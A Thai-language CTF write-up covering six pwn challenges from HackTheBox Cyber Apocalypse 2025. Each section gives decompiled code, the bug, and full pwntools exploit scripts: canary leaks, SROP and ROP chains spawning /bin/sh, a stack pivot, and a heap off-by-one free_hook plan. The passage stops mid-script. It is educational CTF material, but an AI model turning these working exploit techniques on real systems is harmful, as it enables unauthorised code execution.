[Pwnable] HackTheBox Cyber Apocalypse CTF 2025

Table of contents

วีคที่แล้วไปเล่น Cyber Apocalypse CTF ของ HackTheBox มาโดยตีมงานปีนี้เป็นตีมแฟนตาซี(แต่หวดโจทย์อย่างเดียวไม่ได้ซึมซับเนื้อหาเท่าไร lol) โจทย์ Pwnable ปีนี้ยากกว่าปีที่แล้วเล็กน้อย แต่ไม่ได้ถือว่ายากมาก ใครสนใจลองไปเล่นดูครับ เสียดายที่ปีนี้ติดธุระเลยไม่ได้ทำให้ครบทุกข้อ กับติดโง่ ๆ หลายข้อเลยเสียเวลาเยอะไปหน่อย ถ้ามีเวลาว่างเยอะกว่านี้น่าจะ Solve ได้หมด ไม่เป็นไรปีหน้าเอาใหม่แต่ปีนี้มาเริ่มข้อแรกกันก่อน
Pwn - Blessing - Very Easy
Binary Security:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
ข้อนี้ Binary ให้มาใน function main สั้น ๆ โดยที่โจทย์ต้องการให้เราเขียนค่าที่ตำแหน่ง heap_with_leak_addr
ให้เป็น NULL
[2] ผมได้ reverse ได้โปรแกรมหน้าตาประมาณนี้
undefined8 main(void)
{
long in_FS_OFFSET;
size_t size;
ulong local_28;
long *heap_with_leak_addr;
void *heap2;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setup();
banner();
size = 0;
heap_with_leak_addr = (long *)malloc(0x30000);
*heap_with_leak_addr = 1;
printstr(
"In the ancient realm of Eldoria, a roaming bard grants you good luck and offers you a gif t!\n\nPlease accept this: "
);
printf("%p",heap_with_leak_addr); // [4] Leak target addr LOL
sleep(1);
for (local_28 = 0; local_28 < 0xe; local_28 = local_28 + 1) {
printf("\b \b");
usleep(60000);
}
puts("\n");
printf("%s[%sBard%s]: Now, I want something in return...\n\nHow about a song?\n\nGive me the song\ 's length: "
,&DAT_00102063,&DAT_00102643,&DAT_00102063);
__isoc99_scanf(&DAT_001026b1,&size);
heap2 = malloc(size); // [1] Malloc with controllable size
printf("\n%s[%sBard%s]: Excellent! Now tell me the song: ",&DAT_00102063,&DAT_00102643,
&DAT_00102063);
read(0,heap2,size);
*(undefined8 *)((long)heap2 + (size - 1)) = 0; // [3] write NULL AT heap2[size-1]
write(1,heap2,size);
if (*heap_with_leak_addr == 0) { // [2] Win condition
read_flag();
}
else {
printf("\n%s[%sBard%s]: Your song was not as good as expected...\n\n",&DAT_001026e9,
&DAT_00102643,&DAT_001026e9);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
ข้อนี้ง่าย ๆ จะบอกว่าเป็นบัคมั้ย? จริง ๆ มันคือการทำงานปกติของ malloc ถ้าเราไปอ่าน Manpage ของ malloc ก็จะพบข้อมูลนี้อยู่แล้ว คือถ้าเรา allocate ค่าเกิน PTRDIFF_MAX (เท่าไรไม่รู้ ไป search ดู) จะถือว่าเป็น Err และ Return NULL
งั้นแปลว่าถ้าเรา malloc ขอ size ในขนาดที่เกินจาก PTRDIFF_MAX ค่าของ heap2 จะเป็น NULL
จะทำให้ งั้นถ้าเราใส่ Size เป็น address+1 เราจะสามารถไปเขียน NULL
ที่ address นั้นได้จาก code ในส่วนที่ [3]
// heap = 0
// size = 0x123456+1
*(undefined8 *)((long)heap2 + (size - 1)) = 0;
// *(0+0x123456) = 0;
ซึ่งถ้าถามว่าต้องไปเขียนที่ไหน โจทย์ข้อนี้ใจดี แจก Heap Address ที่ต้องเขียนมาให้ [4] ไม่ต้องไปหาเอง lol
ข้อนี้ไม่ต้องเขียน exploit ก็ได้ เอาค่า address ที่โจทย์ส่งมาให้ไป +1 แล้วตอบ แค่นี้ก็ได้ flag แล้ว
Full Exploit
#!/usr/bin/env python3
from pwn import *
"""
"""
# Load the binary
exe = ELF("blessing")
# Set context
context.binary = exe
# context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
# shortcuts
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
rl = lambda : p.recvline()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def conn():
if args.LOCAL:
p = process([exe.path])
elif args.GDB:
p = process([exe.path])
gdb.attach(p, gdbscript="b *main+391")
else:
p = remote("X", 1)
return p
def main():
global p
p = conn()
# Step 1: Leak the address of heap_with_leak_addr
ru(b"Please accept this: ")
heap_with_leak_addr = int(r(14).strip(), 16)
log.info(f"Leaked heap_with_leak_addr: {hex(heap_with_leak_addr)}")
sla(b"length: ", str(heap_with_leak_addr+1).encode())
sl(b"")
p.interactive()
if __name__ == "__main__":
main()
Pwn - Quack Quack - Very Easy
Binary Security
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
ข้อนี้บัคอยู่ที่ function duckling โดยเป็น Buffer overflow ทั่วไปแต่มี gimmick เล็ก ๆ เป็นการให้เราใส่ “Quack Quack” เพื่อไป Leak Canary แล้วก็ overflow ไปทับ saved RIP ของ function duckling นั่นเอง
void duckling(void)
{
char *pcVar1;
long in_FS_OFFSET;
char local_88 [32];
[Snipped]
long Canary = *(long *)(in_FS_OFFSET + 0x28);
local_88[0-0x1f] = '\0';
[Snipped]
printf("Quack the Duck!\n\n> ");
fflush(stdout);
read(0,local_88,102);
pcVar1 = strstr(local_88,"Quack Quack ");
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
/* WARNING: Subroutine does not return */
exit(0x520);
}
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20); // [1] pcVar1+0x20
read(0,&local_68,0x6a); // [2] overflow here
puts("Did you really expect to win a fight against a Duck?!\n");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
โดยเราจะเห็นเราจะ printf ในตำแหน่งที่ถัดจากคำว่า “Quack Quack “ ไปอีก 0×20 ตำแหน่ง[1]
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20); // [1] pcVar1+0x20
งั้นเราก็แค่ align ให้ตำแหน่งของที่ printf ไปที่ canary เราก็จะได้ canary มาแล้ว
จากนั้นเมื่อเราได้ canary แล้วเราก็ overflow ไปทับ canary เสมือนว่าค่าไม่เคยถูกเปลี่ยนแปลง และก็ทับ saved rip จากการ overflow ที่นั่นเอง [2]
read(0,&local_68,0x6a); // [2] overflow here
ข้อนี้เราไม่ต้อง rop ให้ยุ่งยางเพราะเค้าเตรียม function มาให้ใช้อยู่แล้ว แถม Binary ไม่ได้เปิด PIE เราแค่เอา address ของ dick_attack
ไปแปะเท่านั้นเอง
void dick_attack(void)
{
ssize_t sVar1;
long in_FS_OFFSET;
char local_15;
int local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_14 = open("./flag.txt",0);
if (local_14 < 0) {
perror("\nError opening flag.txt, please contact an Administrator\n");
/* WARNING: Subroutine does not return */
exit(1);
}
while( true ) {
sVar1 = read(local_14,&local_15,1);
if (sVar1 < 1) break;
fputc((int)local_15,stdout);
}
close(local_14);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Full Exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("quack_quack")
context.binary = exe
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
# Shortcut
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
rl = lambda : p.recvline()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def conn():
if args.LOCAL:
p = process([exe.path])
elif args.GDB:
p = process([exe.path])
gdb.attach(p, gdbscript="""
b *duckling+292
b *duckling+216
""")
else:
p = remote("X", 1)
return p
def main():
global p
p = conn()
# good luck pwning :)
buf = flat({89:b"Quack Quack "})
sla(b">", buf)
# leak canary
ru("Quack Quack ")
canary = u64(r(7).ljust(8, b"\x00"))<<8 # last byte is NULL
print(f"canary: {hex(canary)}")
buf2 = flat({0x58:p64(canary), 0x68:p64(0x00040137f)})
sla(b">", buf2)
p.interactive()
if __name__ == "__main__":
main()
Pwn - Laconic - Easy
Binary Security:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x42000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
ข้อนี้ Permission ประหลาด ไม่มี Protection อะไรเลย แต่เป็นอีกข้อที่เสียเวลาแบบโง่ ๆ เพราะลืมสิ่งที่เรียกว่า SROP LOL
ก่อนไปหวดเรามีดู Code กันก่อนว่าโปรแกรมนี้มันทำงานอะไร
undefined processEntry entry()
undefined <UNASSIGNED> <RETURN>
_start XREF[4]: Entry Point(*), 00042018(*),
__start 00042088(*),
entry _elfSectionHeaders::00000050(*)
00043000 48 c7 c7 MOV RDI,0x0
00 00 00 00
00043007 48 89 e6 MOV RSI,RSP
0004300a 48 83 ee 08 SUB RSI,0x8
0004300e 48 c7 c2 MOV RDX,0x106
06 01 00 00
00043015 0f 05 SYSCALL
00043017 c3 RET
00043018 58 ?? 58h X
00043019 c3 ?? C3h
แหม ไม่มีแม้กระทั่ง main ข้อนี้หลัก ๆ คือมันเรียก sys_write(0, rsp-0×8, 0×106)
ซึ่งคือ Buffer overflow ธรรมดา ความยากของข้อนี้ไม่ใช่การหาบัคแต่เป็นการ exploit มากกว่า ตอนแรกนึกว่าต้อง jmp rsp
ลง shellcode แต่ก็ไม่มี gadget
เลยคิดว่างั้นต้อง rop เรียก sys_execve()
แต่หา gadget ที่ control rdi
ไม่เจอ
เจอแค่ตัวเดียวที่พอจะมีประโยชน์คือ
0x0000000000043018: pop rax; ret;
ซึ่งถ้าเราไปดู Syscall table คือเราสามารถ control ได้ว่าเราจะเลือก syscall ไหน แต่ถ้าเราจะ execute command ยังไงก็ต้อง control rdi
,rsi
อยู่ดี
สุดท้ายเลยถาม Grok ว่ามี syscall ไหนบ้างที่ spawn shell ได้ น้องลิสท์มาให้เลยเจอกับ syscall_rt_sigreturn
เลยจำได้ว่าเอ่อมันมี SROP อยู่นี่นา condition ตรงด้วยคือ control rax
และ stack เพื่อใส่ context ได้ แค่นี้ก็เรียก command อะไรก็ได้แล้ว เป็นท่าที่ไม่ค่อยได้ใช้เท่าไรเพราะมันง่ายจนไม่ค่อยมีที่ไหนออกโจทย์เลยลืม 🤦♂️(แบบนี้นับว่ายากป่ะนะ 🤣)
Full Exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("laconic")
context.binary = exe
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
# Shortcut
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
rl = lambda : p.recvline()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def conn():
if args.LOCAL:
p = process([exe.path])
elif args.GDB:
p = process([exe.path])
gdb.attach(p, gdbscript="b *_start+25")
else:
p = remote("X", 1)
return p
def main():
global p
p = conn()
binsh = 0x43238
# good luck pwning :)
buf = b"/bin/sh\x00" # why?
frame = SigreturnFrame()
frame.rax = 59 # Syscall number for execve
frame.rdi = binsh # Address of "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = 0x0000000000043015 # Return to `syscall; ret` to execute the syscall
frame.rsp = 0xdeadbeef # Fake stack pointer (adjust as needed)
buf += p64(0x0000000000043018) # pop rax; ret;
buf += p64(0xf) # rax = 0xf ; rt_sigreturn
buf += p64(0x0000000000043015) # syscall ret
buf += bytes(frame)
sl(buf)
p.interactive()
if __name__ == "__main__":
main()
Pwn - Crossbow - Easy
Binary Security:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
ข้อนี้ Flow การทำงานหลัก ๆ จะอยู่ที่ function target_dummy ข้อนี้บัคหาง่ายมากอยากให้ลองหาดูก่อนเฉลยนะครับ
void training(void)
{
long target_arr [4];
printf("%s\n[%sSir Alaric%s]: You only have 1 shot, don\'t miss!!\n",&DAT_0040b4a8,&DAT_0040b00e,
&DAT_0040b4a8);
target_dummy(target_arr);
printf("%s\n[%sSir Alaric%s]: That was quite a shot!!\n\n",&DAT_0040b4a8,&DAT_0040b00e,
&DAT_0040b4a8);
return;
}
void target_dummy(long *target_arg)
{
int iVar1;
long idx;
void *buf;
char *pcVar2;
long idx_;
printf("%s\n[%sSir Alaric%s]: Select target to shoot: ",&DAT_0040b4a8,&DAT_0040b00e,&DAT_0040b4a8)
;
iVar1 = scanf("%d%*c",&idx_);
if (iVar1 != 1) {
printf("%s\n[%sSir Alaric%s]: Are you aiming for the birds or the target kid?!\n\n",
&DAT_0040b4e4,&DAT_0040b00e,&DAT_0040b4e4);
/* WARNING: Subroutine does not return */
exit(0x520);
}
idx = (long)(int)idx_;
buf = calloc(1,0x80);
target_arg[idx] = (long)buf;
if (target_arg[idx] == 0) {
printf("%s\n[%sSir Alaric%s]: We do not want cowards here!!\n\n",&DAT_0040b4e4,&DAT_0040b00e,
&DAT_0040b4e4);
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
printf("%s\n[%sSir Alaric%s]: Give me your best warcry!!\n\n> ",&DAT_0040b4a8,&DAT_0040b00e,
&DAT_0040b4a8);
pcVar2 = fgets_unlocked((char *)target_arg[(int)idx_],0x80,(FILE *)__stdin_FILE);
if (pcVar2 == (char *)0x0) {
printf("%s\n[%sSir Alaric%s]: Is this the best you have?!\n\n",&DAT_0040b4e4,&DAT_0040b00e,
&DAT_0040b4e4);
/* WARNING: Subroutine does not return */
exit(0x45);
}
return;
}
.
.
.
.
เฉลย
จาก code จะเห็นตรง ๆ เลยว่าเรารับ idx เข้ามาเป็น int และไม่ได้มีการ validate ใด ๆ เลยแปรว่าเราจะใส่ค่าติดลบหรือใหญ่กว่า target_arg ก็ได้
iVar1 = scanf("%d%*c",&idx_);
if (iVar1 != 1) {
printf("%s\n[%sSir Alaric%s]: Are you aiming for the birds or the target kid?!\n\n",
&DAT_0040b4e4,&DAT_0040b00e,&DAT_0040b4e4);
/* WARNING: Subroutine does not return */
exit(0x520);
}
idx = (long)(int)idx_;
buf = calloc(1,0x80);
target_arg[idx] = (long)buf; // [1] OOB write
คำถามคือจะเขียนตรงไหนดี จริง ๆ จุดนี้เป็น common mistake ที่ชอบพลาดผมเองก็เป็นบ่อย คือชอบ Focus ไปที่การทับ saved rip
เพื่อ hijack control flow เลยอาจมองพลาดไป
ข้อนี้เราไม่สามารถทับ saved rip
ได้ตรง ๆ เพราะจะเห็นว่าค่าที่เราไปทับเป็น ptr
ของ buf
ไม่ใช่ค่า buf
ที่เราเขียนไว้ [1] และข้อนี้ก็เปิด NX Protection ทำให้ไม่สามารถ execute shellcode ใน buf
ได้
ถ้างั้นเราไปเขียนที่ไหนดีละ?
คำตอบคือเราจะไปเขียนที่ saved rbp
เมื่อโปรแกรมถึง instruction leave
ก็จะเอา ptr ของ buf
เราไปเป็น rsp
ของ function ก่อนหน้าและเมื่อ ret
อีกรอบก็จะกลับที่ buf
ของเราที่เรา control ได้ซึ่งเราสามารถใส่ payload ได้ที่ตรงนี้
ถ้าเราซูมเข้าไปดูที่ assembly ตอนที่ set ค่า target_arg[idx]=buf
จะได้หน้าตาประมาณนี้
rax=0x7ffca85a78a0
← target_arg[0] —> Stack addressrdx=0xffffffffffffff00
← idx (8*-2)
ซึ่งในเคสนี้เราจะเขียนทับที่ตำแหน่ง target_arg[-2] เหมือนที่โชว์ในวงสีแดง (ส่วน target_arg[0] จะเป็นวงสีเขียว)
เมื่อเรา execute leave
ใน function target_dummy จะเห็นว่า rbp
เราชี้ไปที่ตำแหน่งที่เรา control ค่าได้
และเมื่อเรา execute leave
ใน function training จะเห็นว่าเราสามารถ pivot stack ไปที่ heap ของเราและ Hijack control flow ผ่านการทำ ROP ได้
ข้อนี้ก็สามารถ Solve ได้ง่าย ๆ ด้วยการทำ rop ไป execve /bin/sh ก็ได้
Full Exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("crossbow")
context.binary = exe
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
# Shortcut
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
rl = lambda : p.recvline()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def conn():
if args.LOCAL:
p = process([exe.path])
elif args.GDB:
p = process([exe.path])
gdb.attach(p, gdbscript="""
b *target_dummy+354
b *target_dummy+176
b *0x040126f
""")
else:
p = remote("X", 1)
return p
def get_rop():
"""
ropper -f crossbow --chain "execve cmd=/bin/sh"
"""
IMAGE_BASE_0 = 0x0000000000400000 # 7bf5f772c59b6cc7854de1212fa8c99ec9bf25e33a4b0cd6c251200852dd2c2b
rebase_0 = lambda x : p64(x + IMAGE_BASE_0)
rop = b''
rop += rebase_0(0x0000000000001001) # 0x0000000000401001: pop rax; ret;
rop += b'/bin/sh\x00'
rop += rebase_0(0x0000000000001d6c) # 0x0000000000401d6c: pop rdi; ret;
rop += rebase_0(0x000000000000e000)
rop += rebase_0(0x00000000000020f5) # 0x00000000004020f5: mov qword ptr [rdi], rax; ret;
rop += rebase_0(0x0000000000001001) # 0x0000000000401001: pop rax; ret;
rop += p64(0x000000000000003b)
rop += rebase_0(0x000000000000566b) # 0x000000000040566b: pop rsi; ret;
rop += rebase_0(0x000000000000e010)
rop += rebase_0(0x0000000000001139) # 0x0000000000401139: pop rdx; ret;
rop += rebase_0(0x000000000000e010)
rop += rebase_0(0x0000000000004b51) # 0x0000000000404b51: syscall; ret;
# print(rop)
return rop
def main():
global p
p = conn()
# rop syscall execve
# good luck pwning :)
sla(b"shoot:", b"-2")
buf = flat({8:get_rop()})
sla(b">", buf)
p.interactive()
if __name__ == "__main__":
main()
Pwn - Contractor - Medium
Binary Security:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
ข้อนี้แอบยาวถ้าให้แคปโปรแกรมมาเต็ม ๆ หน้าตา Program เป็นแบบนี้ หลัก ๆ ให้ใส่ name, reason, age, specialty และจะมี print ข้อมูลทั้งหมดออกมารอบนึง
Struct ที่เก็บข้อมูลหน้าตาประมาณนี้
Offset | Type | Name |
0x0 | char[16] | name |
0x10 | char[256] | reason |
0x110 | long | age |
0x118 | char[16] | specialty |
ก่อนจะให้แก้ข้อมูลบางตัวที่ต้องการแก้โดยที่ไม่ print อีกรอบแล้วจึงจบการทำงาน
บัคแรก: Information Disclosure → Leak Binary Address
จาก struct ด้านบนเราจะเห็นว่า contractor→specialty
มีความยาว 0×10 byte และรับค่ามาที่ละ 1 Byte แล้วเอาไปเขียนลง Stack ดูเผิน ๆ อาจจะมองไม่เห็นว่าบัคอยู่ตรงไหน มันก็รับ แค่ 0×10 ตัวเหมือนกันหนิ
printf("\n[%sSir Alaric%s]: You sound mature and experienced! One last thing, you have a certain s pecialty in combat?\n\n> "
,&DAT_0010203e,&DAT_00102008);
for (i = 0; i < 0x10; i = i + 1) {
*(undefined8 *)((long)piVar5 + -0x138) = 0x10167f;
read(0,&safe_buffer,1);
if (safe_buffer == '\n') break;
contractor->specialty[(int)i] = safe_buffer;
}
ถ้าเราจะไปดูที่ Stack ตอน Debug จะเห็นว่า Stack หน้าตาแบบนี้ครับ นั่นแน่ จะเห็นว่ามี address ที่ติดอยู่กับ contractor→specialty
ทำให้ตอนที่เรา printf จะสามารถ leak ค่า address ของ binary มาได้ซึ่งเราเอาไปคำนวนหา base address แล้วจะไปคำนวนหา function ไหนก็ได้แล้ว
โดยเฉพาะโปรแกรมนี้มี primitive function มาด้วยทำให้เรา hijack control flow ไปที่ function contract ก็จะได้ shell เบย
void contract(void)
{
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
execl("/bin/sh","sh",0);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
บัคสอง: Buffer Overflow ตอน edit specialty
อันนี้อ่านโค้ดด้านล่างก็จะเห็นแล้วว่ามันรับค่ามาใหญ่กว่า size ของ contract→specialty
จากที่เห็นในตำแหน่งที่ [1]
if (local_28 == 4) {
*(undefined8 *)((long)piVar5 + -0x138) = 0x101931;
printf("\n%s[%sSir Alaric%s]: And what are you good at: ",&DAT_00102008,&DAT_0010203e,
&DAT_00102008);
for (i = 0; i < 0x100; i = i + 1) { // [1] 0x100 ????
*(undefined8 *)((long)piVar5 + -0x138) = 0x101953;
read(0,&safe_buffer,1);
if (safe_buffer == '\n') break;
contractor->specialty[(int)i] = safe_buffer;
}
local_24 = local_24 + 1;
}
พอเราเอา 2 บัคมา Chain กันเราก็สามารถ Bypass PIE (จากการ leak address) และ Overflow เอา contract
ไปทับ saved rip
ก็จบแล้ว GGEZ
.
.
.
.
ลืมว่ามี Stack Canary🤦♂️🤦♂️🤦♂️
ข้อนี้เสียเวลาอยู่นานมากกับการหาวิธี Leak Stack Canary จนข้ามไปทำอีกข้อก่อนค่อยกลับมาทำ ข้อนี้ที่พลาดคือ Focus ไปที่การหาวิธี leak canary จนลืมไปว่าจริง ๆ เราสามารถใช้วิธีอื่น Bypass ได้หนิ ไม่จำเป็นต้อง Leak
ตั้งสติ
หลังจากตั้งสติได้แล้วลองกลับมา debug ดูช้า ๆ โดยการใส่ Payload ของ contractor→specialty
เป็น AAAAAAAABBBBBBBBCCCCCCCDDDDDDDD\x2f
เมื่อเราใส่ไปจนถึงตัวที่ 32 ตัวต่อไปจะเป็น \x2f
จะเห็นว่า mov byte ptr [rdx + rax + 0x118], cl
จะทำการเขียนค่า \x2f
ลงไปที่ตำแหน่ง 0x7fffffffc248
ซึ่งมีค่าเป็น 0x7fffffffc110
ถามว่าแล้วไงต่อ ก็แค่ทับ address อีกตัวหนิ
จริง ๆ แล้วไม่แค่ เพราะ 0x7fffffffc110
ptr ของ contractor
ทำให้ครั้งต่อไปที่โปรแกรมทำการ Loop มาเขียนในรอบที่ 34 จะทำให้การคำนวนตำแหน่งที่เขียนเปลี่ยนไปทำให้เราสามารถ write ข้าม canary ไปทับ saved rip
ได้ งี้ก็ GGEZ ดิครัฟ rop ก็ไม่ต้อง craft หวดเข้า contract
ได้เลย
Full Exploit? มันมี ASLR ลองหลายทีหน่อยเดี้ยวก็ได้เอง lol
#!/usr/bin/env python3
from pwn import *
exe = ELF("contractor")
context.binary = exe
# context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
# Shortcut
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
rl = lambda : p.recvline()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def conn():
if args.LOCAL:
p = process([exe.path])
elif args.GDB:
p = process([exe.path])
gdb.attach(p, gdbscript="""
b *main+1309
b *main+1666
""")
else:
p = remote("X", 1)
return p
def main():
global p
p = conn()
# good luck pwning :)
# name
sla(b">", b"")
# reason
sla(b">", b"")
# age
sla(b">", b"-")
# speacailty
sa(b">", b"X"*0x10)
# leak addr
ru(b"XXXXXXXXXXXXXXXX")
leak = rl().strip().ljust(8, b"\x00")
leak = u64(leak)
exe.address = leak - 6992
print(f"Leaked addr: {hex(leak)}")
print(f"Base addr: {hex(exe.address)}")
print(f"contract addr: {hex(exe.sym["contract"])}")
# overflow
buf = b"A"*0x8
buf += b"B"*0x8
buf += b"C"*0x8
buf += b"D"*0x8
buf += bytes([0x2f])
buf += p64(exe.sym["contract"])
ru(b"correct")
sla(b">", b"4")
sla(b"at: ", buf)
p.interactive()
main()
Pwn - Strategist - Medium
Binary Security:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Stripped: No
ข้อนี้เป็น heap exploitation โดยเป็น heap overflow ที่เราเรียกกันว่า off by one โดยที่เรา overflow ไปทับได้แค่ 1 byte ซึ่งนั่นถือว่าเกินพอแล้วในการทำ heap exploitation
ข้อนี้ติดเพราะง่าวจำ alignment ของ heap ผิดเลยงงว่าจะ overflow ยังไง เข้าใจว่า heap ของ Libc บน x86-64 จะมี alignment คือต้องหาร 0×10 ลงตัวเสมอ เลยงงอยู่นานว่าจะ overflow ยังไง เพราะ allocate size ไหนก็มี padding (โง่ 5555)
ความจริงคือมัน alignment คือต้องหาร 0×8 ลงตัวจะทำให้ byte สุดท้ายของ chunk ไปติดกับ metadata ของ next chunk
มาดูโปรแกรมกันเบยหน้าตาหลัก ๆ จะมี 4 function เป็น heap note style ที่เรารัก lol
จะเห็นว่า create_plan
ทำงานปกติไม่มีเขียนเกินสักตัว
void create_plan(long *plan_arr)
{
long in_FS_OFFSET;
int size;
int iStack_1c;
long *buf;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iStack_1c = check(plan_arr);
if (iStack_1c == -1) {
printf("%s\n[%sSir Alaric%s]: Don\'t go above your head kiddo!\n\n",&DAT_001013f0,&DAT_00101413,
&DAT_001013f0);
/* WARNING: Subroutine does not return */
exit(0x520);
}
printf("%s\n[%sSir Alaric%s]: How long will be your plan?\n\n> ",&DAT_001013e8,&DAT_00101413,
&DAT_001013e8);
size = 0;
__isoc99_scanf(&DAT_001025b5,&size);
buf = (long *)malloc((long)size);
if (buf == (long *)0x0) {
printf("%s\n[%sSir Alaric%s]: This plan will be a grand failure!\n\n",&DAT_001013f0,
&DAT_00101413,&DAT_001013f0);
/* WARNING: Subroutine does not return */
exit(0x520);
}
printf("%s\n[%sSir Alaric%s]: Please elaborate on your plan.\n\n> ",&DAT_001013e8,&DAT_00101413,
&DAT_001013e8);
/* input null byte */
read(0,buf,(long)size);
plan_arr[iStack_1c] = (long)buf;
printf("%s\n[%sSir Alaric%s]: The plan might work, we\'ll keep it in mind.\n\n",&DAT_00102630,
&DAT_00101413,&DAT_00102630);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
แต่ function นี้มีกลิ่น lol จะเห็นว่ามันใช้ strlen ซึ่งจะไปนับรวมกับ metadata ที่ next chunk ด้วยทำให้เราแก้ไข metadata ของ next chunk ได้ ggez หวานครับข้อนี้
void edit_plan(long *plan_arr)
{
size_t __nbytes;
long in_FS_OFFSET;
int idx;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("%s\n[%sSir Alaric%s]: Which plan you want to change?\n\n> ",&DAT_001013e8,&DAT_00101413,
&DAT_001013e8);
idx = 0;
__isoc99_scanf(&DAT_001025b5,&idx);
if (((-1 < idx) && (idx < 100)) && (plan_arr[idx] != 0)) {
printf("%s\n[%sSir Alaric%s]: Please elaborate on your new plan.\n\n> ",&DAT_001013e8,
&DAT_00101413,&DAT_001013e8);
__nbytes = strlen((char *)plan_arr[idx]); // [1] len include next chunk metadata
read(0,(void *)plan_arr[idx],__nbytes); // [2] overwrite it ggez
putchar(10);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
printf("%s\n[%sSir Alaric%s]: There is no such plan!\n\n",&DAT_001013f0,&DAT_00101413,
&DAT_001013f0);
/* WARNING: Subroutine does not return */
exit(0x520);
}
ที่เหลือเป็น delete ที่ทำการ free กับ show ผมขอข้ามนะ ไม่ได้มีอะไรส่งผลกับการหวด
แต่ก่อนจะไปเริ่มหวดกันเราควรรู้เวอร์ชันของ Libc ก่อนเพื่อที่จะได้วางแผนในการหวดได้ว่ามีข้อจำกัดอะไร หวดท่าไหนได้บ้าง
ซึ่งพบว่า libc ของโจทย์เวอร์ชัน 2.27 อห อย่างเก่าเกิดก่อนกูอีกมั้ง แถมเวอร์ชันนี้มี free_hook
อีกไม่ต้องหา primitive ให้วุ่นวาย
Exploitation Strategy
Leak Libc จาก unsorted bin
ใช้
create_plan
สร้าง attack chunk และ victim chunk 1 และ 2ใช้
delete_plan
free victim chunk 1 และ 2ใช้
edit_plan
attack chunk ไปทับ victim chunk 1 size ใน metadata เป็น sizeof(victim1)+sizeof(victim2)ใช้
create_plan
สร้าง new chunk ที่มี size เป็น sizeof(victim1)+sizeof(victim2)-8 โดยไปทับค่า tcache ptr ใน victim chunk 2 ด้วยค่าของfree_hook
ใช้
create_plan
สร้าง new chunk เพื่อไปเขียนค่าsystem
ลงที่free_hook
ใช้
create_plan
สร้าง new chunk โดยใส่ value เป็น/bin/sh
ใช้
delete_plan
เพื่อ free chunk ที่ 7 ทำให้ไปเรียกfree_hook
ที่ถูกแทนด้วยsystem
แค่ 8 ข้อนี้ก็เรียก system(“/bin/sh”)
ได้แล้ว GGEZ ครัฟ ‘jkpdHgsuhp]tlyl c,j’’,vpjk’oko
Full Exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("strategist")
libc = ELF("glibc/libc.so.6")
context.binary = exe
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
# Shortcut
